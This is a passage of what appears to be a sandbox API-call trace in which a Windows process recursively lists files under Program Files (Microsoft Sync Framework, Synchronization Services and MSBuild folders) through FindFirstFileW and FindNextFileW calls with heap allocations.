lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\*", lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0470 [0043.760] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.760] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1 [0043.760] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fd38b0 [0043.760] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Runtime\\x64\\resources\\1033\\*", lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0330 [0043.760] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.760] FindNextFileW (in: hFindFile=0x3ec0330, lpFindFileData=0x351eb9c | out: lpFindFileData=0x351eb9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5f772f00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5f772f00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x3170, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.rll", cAlternateFileName="SYNCHR~1.RLL")) returned 1 [0043.760] FindClose (in: hFindFile=0x3ec0330 | out: hFindFile=0x3ec0330) returned 1 [0043.760] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fd38b0 | out: hHeap=0x4b0000) returned 1 [0043.760] FindNextFileW (in: hFindFile=0x3ec0470, lpFindFileData=0x351ee18 | out: lpFindFileData=0x351ee18*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x522b67d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x522b67d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x522b67d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 0 [0043.760] FindClose (in: hFindFile=0x3ec0470 | out: hFindFile=0x3ec0470) returned 1 [0043.760] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fc38a8 | out: hHeap=0x4b0000) returned 1 [0043.760] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x67cf6a00, ftCreationTime.dwHighDateTime=0x1c9c57d, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x67cf6a00, ftLastWriteTime.dwHighDateTime=0x1c9c57d, nFileSizeHigh=0x0, nFileSizeLow=0x6db60, dwReserved0=0x0, dwReserved1=0x0, cFileName="Synchronization.dll", cAlternateFileName="SYNCHR~1.DLL")) returned 1 [0043.761] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0043.761] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0043.761] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x60c6f7f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x60c6f7f0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0043.761] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0043.761] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fb18a0 | out: hHeap=0x4b0000) returned 1 [0043.762] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x50e7acd0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x50e7acd0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Runtime", cAlternateFileName="")) returned 0 [0043.762] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0043.762] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0043.762] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e7acd0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0043.762] FindClose (in: hFindFile=0x3ec01b0 | out: hFindFile=0x3ec01b0) returned 1 [0043.762] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0043.762] FindNextFileW (in: hFindFile=0x3ec0170, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft Synchronization Services", cAlternateFileName="MID7C0~1")) returned 1 [0043.763] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0043.763] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec01b0 [0043.763] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.763] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 1 [0043.763] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0043.763] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\*", lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0230 [0043.763] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.763] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 1 [0043.763] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fb18a0 [0043.764] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Synchronization Services\\ADO.NET\\v1.0\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0043.766] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.766] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6b72c500, ftCreationTime.dwHighDateTime=0x1c8bd0c, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6b72c500, ftLastWriteTime.dwHighDateTime=0x1c8bd0c, nFileSizeHigh=0x0, nFileSizeLow=0x1c420, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.Synchronization.Data.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0043.766] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0043.766] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fb18a0 | out: hHeap=0x4b0000) returned 1 [0043.767] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6a3248d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6a3248d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v1.0", cAlternateFileName="")) returned 0 [0043.767] FindClose (in: hFindFile=0x3ec0230 | out: hFindFile=0x3ec0230) returned 1 [0043.767] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39306e8 | out: hHeap=0x4b0000) returned 1 [0043.767] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x594863b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x594863b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x594863b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ADO.NET", cAlternateFileName="")) returned 0 [0043.767] FindClose (in: hFindFile=0x3ec01b0 | out: hFindFile=0x3ec01b0) returned 1 [0043.767] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x39006d0 | out: hHeap=0x4b0000) returned 1 [0043.767] FindNextFileW (in: hFindFile=0x3ec0170, lpFindFileData=0x351fa84 | out: lpFindFileData=0x351fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818ac970, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x818ac970, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSBuild", cAlternateFileName="")) returned 1 [0043.767] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39006d0 [0043.767] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\*", lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818ac970, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x818ac970, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec01b0 [0043.767] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x818ac970, ftLastAccessTime.dwHighDateTime=0x1d52095, ftLastWriteTime.dwLowDateTime=0x818ac970, ftLastWriteTime.dwHighDateTime=0x1d52095, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.767] FindNextFileW (in: hFindFile=0x3ec01b0, lpFindFileData=0x351f808 | out: lpFindFileData=0x351f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0043.767] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x39306e8 [0043.767] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\*", lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec0230 [0043.768] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.768] FindNextFileW (in: hFindFile=0x3ec0230, lpFindFileData=0x351f58c | out: lpFindFileData=0x351f58c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows Workflow Foundation", cAlternateFileName="WINDOW~1")) returned 1 [0043.768] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3fb18a0 [0043.768] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\*", lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec02b0 [0043.769] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x80020c30, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x80020c30, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.769] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.0", cAlternateFileName="")) returned 1 [0043.769] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f41088 [0043.769] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.0\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0043.769] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.769] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8038cbd7, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x7bef7178, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x7bef7178, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x1276, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="WORKFL~1.TAR")) returned 1 [0043.770] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0043.770] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0043.770] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1 [0043.770] RtlAllocateHeap (HeapHandle=0x4b0000, Flags=0x0, Size=0xfffe) returned 0x3f41088 [0043.770] FindFirstFileW (in: lpFileName="C:\\Program Files\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\*", lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3ec00f0 [0043.770] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0043.770] FindNextFileW (in: hFindFile=0x3ec00f0, lpFindFileData=0x351f094 | out: lpFindFileData=0x351f094*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x56230575, ftCreationTime.dwHighDateTime=0x1c9ea0a, ftLastAccessTime.dwLowDateTime=0x56230575, ftLastAccessTime.dwHighDateTime=0x1c9ea0a, ftLastWriteTime.dwLowDateTime=0x562566d3, ftLastWriteTime.dwHighDateTime=0x1c9ea0a, nFileSizeHigh=0x0, nFileSizeLow=0x1c01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Workflow.Targets", cAlternateFileName="")) returned 1 [0043.770] FindClose (in: hFindFile=0x3ec00f0 | out: hFindFile=0x3ec00f0) returned 1 [0043.770] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f41088 | out: hHeap=0x4b0000) returned 1 [0043.770] FindNextFileW (in: hFindFile=0x3ec02b0, lpFindFileData=0x351f310 | out: lpFindFileData=0x351f310*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x80020c30, ftCreationTime.dwHighDateTime=0x1ca0444, ftLastAccessTime.dwLowDateTime=0x8038cbd7, ftLastAccessTime.dwHighDateTime=0x1ca0444, ftLastWriteTime.dwLowDateTime=0x8038cbd7, ftLastWriteTime.dwHighDateTime=0x1ca0444, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0 [0043.770] FindClose (in: hFindFile=0x3ec02b0 | out: hFindFile=0x3ec02b0) returned 1 [0043.771] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3fb18a0 | 